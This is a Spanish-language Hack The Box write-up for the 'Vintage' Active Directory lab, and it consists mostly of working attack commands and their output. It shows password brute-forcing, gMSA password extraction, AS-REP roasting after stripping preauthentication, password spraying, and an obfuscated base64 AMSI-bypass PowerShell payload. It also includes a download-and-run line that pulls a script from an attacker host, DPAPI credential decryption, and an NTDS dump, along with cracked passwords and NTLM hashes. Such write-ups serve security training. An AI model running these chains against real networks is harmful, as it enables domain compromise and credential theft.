Vintage ⭐
#htb #windows #ActiveDirectory #gmsa #kerberoasting #bloodyad #bloodhound #dcsync #writeup
P.Rosa / Rosaisbest123netexec smb 10.10.11.45 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb --sharesldapsearch -x -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w "Rosaisbest123" -b "DC=vintage,DC=htb" "(objectClass=user)" sAMAccountName memberOfimpacket-GetNPUsers vintage.htb/ -no-pass -usersfile validUsers.txtldapsearch -x -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w "Rosaisbest123" -b "DC=vintage,DC=htb" "(objectClass=computer)" sAMAccountName memberOf
# extended LDIF
#
# LDAPv3
# base <DC=vintage,DC=htb> with scope subtree
# filter: (objectClass=computer)
# requesting: sAMAccountName memberOf
#
# DC01, Domain Controllers, vintage.htb
dn: CN=DC01,OU=Domain Controllers,DC=vintage,DC=htb
sAMAccountName: DC01$
# gMSA01, Managed Service Accounts, vintage.htb
dn: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
sAMAccountName: gMSA01$
# fs01, Computers, vintage.htb
dn: CN=fs01,CN=Computers,DC=vintage,DC=htb
memberOf: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: FS01$
# search reference
ref: ldap://ForestDnsZones.vintage.htb/DC=ForestDnsZones,DC=vintage,DC=htb
# search reference
ref: ldap://DomainDnsZones.vintage.htb/DC=DomainDnsZones,DC=vintage,DC=htb
# search reference
ref: ldap://vintage.htb/CN=Configuration,DC=vintage,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 7
# numEntries: 3
# numReferences: 3Se encuentran dos equipos más, aparte del DC01
Para poder usar la autenticación kerberos en condiciones, tenemos que poner el DC en el resolve.conf y sincronizar la hora con el mismo
cat /etc/resolve.conf
nameserver 10.10.11.45sudo ntpdate dc01.vintage.htb1. Configurar la IP del DC en resolv.conf
El archivo /etc/resolv.conf en Linux define qué servidores DNS se usarán para resolver nombres de dominio. En un entorno de Active Directory, el Controlador de Dominio (DC) generalmente también actúa como servidor DNS.
🔹 Razones para apuntar al DC como servidor DNS en resolv.conf:
- Autenticación Kerberos: Kerberos, que es el sistema de autenticación en AD, requiere que el cliente pueda resolver correctamente el dominio y los nombres de los controladores de dominio.
- Resolución de nombres interna: Un DC con DNS proporciona registros específicos de AD, como
SRV, que permiten a los equipos encontrar servicios del dominio (por ejemplo, LDAP y Kerberos). - Unión a un dominio: Si una máquina quiere unirse a un dominio, debe poder encontrar el DC y otros recursos mediante DNS.
📌 Ejemplo de /etc/resolv.conf con un DC como DNS:
nameserver 10.10.11.45 # IP del DC
search vintage.htb # Dominio de ADAquí se está usando 10.10.11.45 como servidor DNS porque es el Controlador de Dominio (DC) de vintage.htb.
2. Sincronizar la hora con el DC
En Active Directory, la sincronización de hora es crítica, principalmente por Kerberos.
🔹 Razones para sincronizar la hora con el DC:
- Kerberos tiene un margen de error de tiempo: Si la diferencia de hora entre el cliente y el DC es mayor a 5 minutos, Kerberos rechaza la autenticación por seguridad.
- Evita problemas de autenticación: Una desincronización de tiempo puede impedir el inicio de sesión en el dominio o causar errores con
ldapsearch,smbclient, etc. - Es el comportamiento estándar en Windows: Las estaciones de trabajo y servidores miembros de un dominio AD sincronizan automáticamente su tiempo con el DC principal (PDC Emulator).
📌 Ejemplo de sincronización con ntpdate:
ntpdate 10.10.11.45 # Sincroniza la hora con el DC📌 Ejemplo con timedatectl (en sistemas modernos con systemd):
timedatectl set-ntp false # Desactiva la sincronización por defecto
ntpdate 10.10.11.45 # Sincroniza con el DCbloodhound-python -d vintage.htb -dc dc01.vintage.htb -ns 10.10.11.45 -u 'P.Rosa' -p Rosaisbest123 -c All --zip📌 ¿Qué es una gMSA?
Una Group Managed Service Account (gMSA) es un tipo de cuenta especial en Active Directory utilizada para ejecutar servicios y aplicaciones de manera segura.
🔹 Características clave:
- Contraseñas administradas automáticamente: AD cambia su contraseña periódicamente.
- No se pueden iniciar sesión manualmente: Solo servicios específicos pueden usarla.
- Acceso controlado: Solo ciertos servidores pueden recuperar su contraseña.
- Se usa en entornos seguros: Para ejecutar servicios como IIS, SQL Server, etc.
Como el FS01 es miembro de domain computers y puede leer la gmsa password.
Para poder usar el ordenador de dominio FS01, necesitamos su TGT : Para generarlo :
sudo impacket-getTGT -dc-ip 10.10.11.45 vintage.htb/FS01$:fs01
export KRB5CCNAME=FS01\$.ccacheLa contraseña del equipo fs01 la hemos sacado con fuerza bruta
/kerbrute_linux_amd64 bruteuser -d vintage.htb --dc 10.10.11.45 /usr/share/wordlists/rockyou.txt 'FS01$' -vUsamos bloody AD para sacar la contraseña de GMSA01, proporcionando autenticación por kerberos
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword
distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339
msDS-ManagedPassword.B64ENCODED: qNZ+qlGD+Cx17DM27SffmeF+2eftJRLCsHfxsLxSzhh2dERzgKmiJzvEHrfEAqstlS64r4Y1OQdu8sdCT6b8+gYXpLDa8xBQIFyshNK7YPrERV3rJVALnhITHE4lKIYoagI4Dr9owAMBGo7ZC4LOoBGk90mk4uuIMHNtylVRWva41F+v2TFCzSNfKnBSVuLhiZ+koEMTCkgP3Z+4Xnnluw6qkD3WPsnsYDlYYizOGPhsUwB1GJyzFHawe4iwfVnbWQdouCgflR27treFO5W0R5RqcRhkwEYLomOobFVUa3kGh1iQNdpaJLPI6Uo4767UM1O/sSaeML8nKVKhwsDolA==Con la contraseña en formato NTLM , solicitamos y guardamos un TGT para la cuenta GMSA01$
sudo impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339
export KRB5CCNAME=GMSA01\$.ccacheComo vemos, GMSA01 puede añadir a usuarios al grupo SERVICE MANAGERS, añadiremos a rosa
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "P.Rosa"Como ahora rosa es miembro del grupo SERVICE MANAGERS, tenemos Generic All sobre 3 cuentas de servicio. Con generic all se puede hacer kerberoast o cambiar la contraseña. Usaremos el siguiente método para hacer kerberoast:
sudo impacket-getTGT -dc-ip 10.10.11.45 vintage.htb/P.Rosa:Rosaisbest123
export KRB5CCNAME=PRosa\$.ccacheAñadir la propiedad DONT_REQ_PREAUTH
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_ARK -f DONT_REQ_PREAUTH
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_SQL -f DONT_REQ_PREAUTH
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_LDAP -f DONT_REQ_PREAUTHQuitamos la propiedad ACCOUNTDISABLE para asegurarnos de que están activas
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_ARK -f ACCOUNTDISABLE
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_LDAP -f ACCOUNTDISABLE
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLEAhora hacemos kerberoasting:
impacket-GetNPUsers vintage.htb/ -no-pass -usersfile validUsers.txty a crackear
Zer0the0neProbamos a ver si alguno de los usuarios tienen esa pass
./kerbrute_linux_amd64 passwordspray /mnt/Windows/Hacking/HackTheBox/Machines/Vintage/content/validUsers.txt Zer0the0ne -d vintage.htb --dc 10.10.11.45
C.Neriimpacket-getTGT -dc-ip 10.10.11.45 vintage.htb/C.Neri:Zer0the0neNos podemos conectar por evil-winrm
evil-winrm -i 10.10.11.45 -u C.Neri -p "Zer0the0ne" -r vintage.htb -i DC01.vintage.htb -k C.Neri.ccacheC.Neri no tiene privilegios, pero C.Neri_ADM si.

Vamos a obtener una shell interactiva para ver si C.Neri tiene credenciales guardadas.
Necesitamos bypassear AMSI antes
[SYStEM.TEXT.EncodInG]::UniCOdE.getsTRiNg([sYSteM.COnvERT]::FRoMbasE64stRinG("IwBNAGEAdAB0ACAARwByAGEAZQBiAGUAcgBzACAAUgBlAGYAbABlAGMAdABpAG8AbgAgAG0AZQB0AGgAbwBkACAACgAkAGYAQgBrAE0AeQBjAEgAMABiAHQAZwBTAHYAQwBZAEQAbgB0AHYAPQAkAG4AdQBsAGwAOwAkAGIANgBJADQAdAA2AEQAMgBFAFoAPQAiAFMAeQBzAHQAZQBtAC4AJAAoACgAJwBNAOIAbgDhAGcA6AAnACsAJwBtAOoAbgB0ACcAKQAuAE4AbwByAG0AQQBsAEkAWgBFACgAWwBjAEgAQQByAF0AKAA3ADAAKwAxADkALQAxADkAKQArAFsAYwBIAGEAUgBdACgAWwBiAHkAdABlAF0AMAB4ADYAZgApACsAWwBDAGgAQQBSAF0AKAAxADEANAApACsAWwBjAEgAQQByAF0AKAAxADAAOQAqADQAOAAvADQAOAApACsAWwBDAEgAQQBSAF0AKAA2ADgAKgA1ADkALwA1ADkAKQApACAALQByAGUAcABsAGEAYwBlACAAWwBDAEgAQQByAF0AKABbAEIAeQB0AEUAXQAwAHgANQBjACkAKwBbAGMAaABBAFIAXQAoAFsAYgBZAHQAZQBdADAAeAA3ADAAKQArAFsAYwBoAEEAUgBdACgAMQA4ACsAMQAwADUAKQArAFsAYwBIAEEAUgBdACgANwA3ACsANgAtADYAKQArAFsAYwBoAGEAUgBdACgANQA0ACsANQA2ACkAKwBbAGMASABBAHIAXQAoAFsAYgB5AHQAZQBdADAAeAA3AGQAKQApAC4AJAAoACgAJwDBACcAKwAnAPoAJwArACcAdAAnACsAJwD0ACcAKwAnAG0AJwArACcA4gAnACsAJwB0ACcAKwAnAO4AJwArACcA9AAnACsAJwBuACcAKQAuAE4AbwBSAE0AQQBMAGkAegBlACgAWwBDAEgAYQBSAF0AKAA0ADYAKwAyADQAKQArAFsAQwBIAGEAcgBdACgAWwBCAFkAVABlAF0AMAB4ADYAZgApACsAWwBDAEgAYQBSAF0AKAAyADEAKwA5ADMAKQArAFsAQwBIAGEAUgBdACgAWwBiAFkAVABlAF0AMAB4ADYAZAApACsAWwBDAEgAQQByAF0AKABbAGIAeQB0AGUAXQAwAHgANAA0ACkAKQAgAC0AcgBlAHAAbABhAGMAZQAgAFsAYwBIAGEAcgBdACgAOQAyACkAKwBbAGMASABhAHIAXQAoAFsAQgBZAHQAZQBdADAAeAA3ADAAKQArAFsAQwBIAGEAcgBdACgAWwBCAFkAVABlAF0AMAB4ADcAYgApACsAWwBjAGgAYQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANABkACkAKwBbAEMAaABBAFIAXQAoADEAMQAwACsANwA1AC0ANwA1ACkAKwBbAGMASABBAHIAXQAoADcAMQArADUANAApACkALgAkACgAWwBDAGgAQQBSAF0AKAA2ADUAKQArAFsAQwBIAGEAUgBdACgAOQA4ACsAMQAxACkAKwBbAEMAaABhAHIAXQAoADEAMQA1ACkAKwBbAGMASABBAFIAXQAoADEAMAA1ACsAMwA3AC0AMwA3ACkAKwBbAGMAaABBAFIAXQAoAFsAQgBZAHQAZQBdADAAeAA1ADUAKQArAFsAQwBoAGEAUgBdACgAWwBiAFkAVABFAF0AMAB4ADcANAApACsAWwBDAEgAYQByAF0AKABbAGIAeQBUAEUAXQAwAHgANgA5ACkAKwBbAGMASABhAHIAXQAoADEAMAA4ACsANwAxAC0ANwAxACkAKwBbAGMAaABhAHIAXQAoADMAOAArADcANwApACkAIgA7ACQAeAB5AG8AawBhAG0APQAiACsAKAAnAHIA+gB0AOkAeABzAG0A+QBqAGsAbQBnAOwAbABrAHYAbAAnACsAJwByAGYAegBqAGcAdwD7AGQAcgDuAGgAcQAnACkALgBOAE8AcgBNAGEAbABJAHoARQAoAFsAYwBIAGEAcgBdACgANwAwACsAMgAwAC0AMgAwACkAKwBbAGMAaABhAFIAXQAoADEAMQAxACsAMQAwADUALQAxADAANQApACsAWwBjAGgAYQBSAF0AKAAxADAAMAArADEANAApACsAWwBDAGgAQQByAF0AKAA3ADIAKwAzADcAKQArAFsAQwBoAEEAUgBdACgAWwBiAHkAdABFAF0AMAB4ADQANAApACkAIAAtAHIAZQBwAGwAYQBjAGUAIABbAGMASABhAFIAXQAoADkAMgApACsAWwBjAEgAQQBSAF0AKAAxADEAMgArADcANgAtADcANgApACsAWwBjAGgAYQBSAF0AKAAxADIAMwAqADIAOQAvADIAOQApACsAWwBjAEgAYQBSAF0AKAA3ADcAKgA0ADQALwA0ADQAKQArAFsAQwBoAEEAcgBdACgAWwBiAHkAVABlAF0AMAB4ADYAZQApACsAWwBjAEgAQQBSAF0AKABbAEIAeQB0AGUAXQAwAHgANwBkACkAIgA7AFsAVABoAHIAZQBhAGQAaQBuAGcALgBUAGgAcgBlAGEAZABdADoAOgBTAGwAZQBlAHAAKAA4ADMAMgApADsAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACQAYgA2AEkANAB0ADYARAAyAEUAWgApAC4ARwBlAHQARgBpAGUAbABkACgAJAAoAFsAYwBoAEEAcgBdACgAOQA3ACkAKwBbAGMASABBAFIAXQAoAFsAQgBZAFQAZQBdADAAeAA2AGQAKQArAFsAQwBIAGEAUgBdACgAWwBCAHkAdABlAF0AMAB4ADcAMwApACsAWwBDAEgAYQBSAF0AKABbAGIAeQB0AGUAXQAwAHgANgA5ACkAKwBbAGMASABBAFIAXQAoADcAMwAqADEANAAvADEANAApACsAWwBjAGgAQQByAF0AKAAxADEAMAArADgANAAtADgANAApACsAWwBjAEgAYQByAF0AKAA4ADMAKwAyADIAKQArAFsAYwBoAEEAUgBdACgAWwBCAFkAVABFAF0AMAB4ADcANAApACsAWwBjAGgAYQBSAF0AKABbAGIAWQB0AGUAXQAwAHgANAA2ACkAKwBbAEMAaABBAHIAXQAoADMAMAArADYANwApACsAWwBDAGgAYQBSAF0AKABbAGIAeQBUAGUAXQAwAHgANgA5ACkAKwBbAGMASABhAFIAXQAoAFsAQgBZAHQARQBdADAAeAA2AGMAKQArAFsAYwBoAGEAcgBdACgAWwBCAFkAVABlAF0AMAB4ADYANQApACsAWwBjAGgAYQBSAF0AKABbAEIAeQBUAEUAXQAwAHgANgA0ACkAKQAsACIATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAiACkALgBTAGUAdABWAGEAbAB1AGUAKAAkAGYAQgBrAE0AeQBjAEgAMABiAHQAZwBTAHYAQwBZAEQAbgB0AHYALAAkAHQAcgB1AGUAKQA7ACQAYwBoAG0AdQBhAGQAZwBqAGIAPQAiACsAKAAnAHgAagB3ACcAKwAnAHEAcAAnACkALgBOAE8AcgBNAEEAbABpAFoARQAoAFsAQwBoAGEAcgBdACgAWwBiAFkAVABFAF0AMAB4ADQANgApACsAWwBjAEgAYQBSAF0AKAAxADEAMQApACsAWwBDAEgAQQBSAF0AKAAxADEANAAqADUAMwAvADUAMwApACsAWwBDAEgAQQByAF0AKAAxADAAOQArADIAMgAtADIAMgApACsAWwBjAEgAQQByAF0AKAA1ADMAKwAxADUAKQApACAALQByAGUAcABsAGEAYwBlACAAWwBDAGgAQQByAF0AKABbAGIAeQBUAGUAXQAwAHgANQBjACkAKwBbAGMAaABhAHIAXQAoAFsAYgBZAHQARQBdADAAeAA3ADAAKQArAFsAQwBoAGEAUgBdACgAWwBCAHkAVABlAF0AMAB4ADcAYgApACsAWwBDAEgAQQBSAF0AKABbAEIAeQBUAGUAXQAwAHgANABkACkAKwBbAGMAaABhAFIAXQAoAFsAYgB5AHQAZQBdADAAeAA2AGUAKQArAFsAQwBoAGEAcgBdACgAMQAyADUAKwA5ADIALQA5ADIAKQAiADsAWwBUAGgAcgBlAGEAZABpAG4AZwAuAFQAaAByAGUAYQBkAF0AOgA6AFMAbABlAGUAcAAoADUAMgAxACkA"))|iexTratamos de obtener una shell interactiva pero fallamos en el intento
IEX(New-Object Net.WebClient).downloadString('http://10.10.15.3/Invoke-RunasCs.ps1')Invoke-RunasCs -Username C.Neri -password Zer0the0ne -Domain vintage.htb -Command powershell.exe -Remote 10.10.15.3 -ForceProfileVamos extraer DPAPI de forma manual
Hay dos archivos, descargamos ambos

$path = "C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\4dbf04d8-529b-4b4c-b4ae-8e875e4fe847"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($path)) | Out-File -Encoding ASCII 'C:\Users\C.Neri\Documents\out.txt'
$path = "C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($path)) | Out-File -Encoding ASCII 'C:\Users\C.Neri\Documents\out2.txt'base64 -d out.txt > masterkey.blob
impacket-dpapi masterkey -file masterkey.blob -password 'Zer0the0ne' -sid S-1-5-21-4024337825-2033394866-2055507597-1115
dir C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials -Force
$path = "C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($path)) | Out-File -Encoding ASCII 'C:\Users\C.Neri\Documents\out.txt'Nos tira un error
base64 -d out.txt > credential.blob
impacket-dpapi credential -file credential.blob -key 0x55d51b40d9aa74e8cdc44a6d24a25c96451449229739a1c9dd2bb50048b60a652b5330ff2635a511210209b28f81c3efe16b5aee3d84b5a1be3477a62e25989fProbamos con la otra masterkey
base64 -d out2.txt > masterkey.blob
impacket-dpapi masterkey -file masterkey.blob -password 'Zer0the0ne' -sid S-1-5-21-4024337825-2033394866-2055507597-1115
impacket-dpapi credential -file credential.blob -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
impacket-getTGT -dc-ip 10.129.231.205 vintage.htb/C.Neri_adm:Uncr4ck4bl3P4ssW0rd0312
Tiramos de adscan
start_auth vintage.htb 10.129.231.205 C.Neri_adm Uncr4ck4bl3P4ssW0rd0312creds save vintage.htb 'FS01$' fs01Podemos hacer RBCD

Tratamos de impersonar a DC01$ para posteriormente hacer un DCsync

Resulta que DC01$ no tiene permisos para hacer un DCSync

Probamos con Administrator, el problema aquí es que este usuario esta restringido y no puede hacer logins de red.
Con l.bianchi_adm tampoco conseguimos hacer un DCsync
Probamos a hacerlo manualmente con el hash de DC01$
export KRB5CCNAME=adscan_spnjack_cifs_e302livr.ccache
netexec smb dc01.vintage.htb -u 'DC01$' -k --use-kcache --ntdsY conseguimos dumpear ntds
impacket-getTGT -dc-ip 10.129.231.205 vintage.htb/L.Bianchi_adm -hashes ':6b751449807e0d73065b0423b64687f0'evil-winrm -i 10.129.231.205 -u L.Bianchi_adm -r vintage.htb -i DC01.vintage.htb -k L.Bianchi_adm.ccacheLa flag está en el escritorio de Administrator.
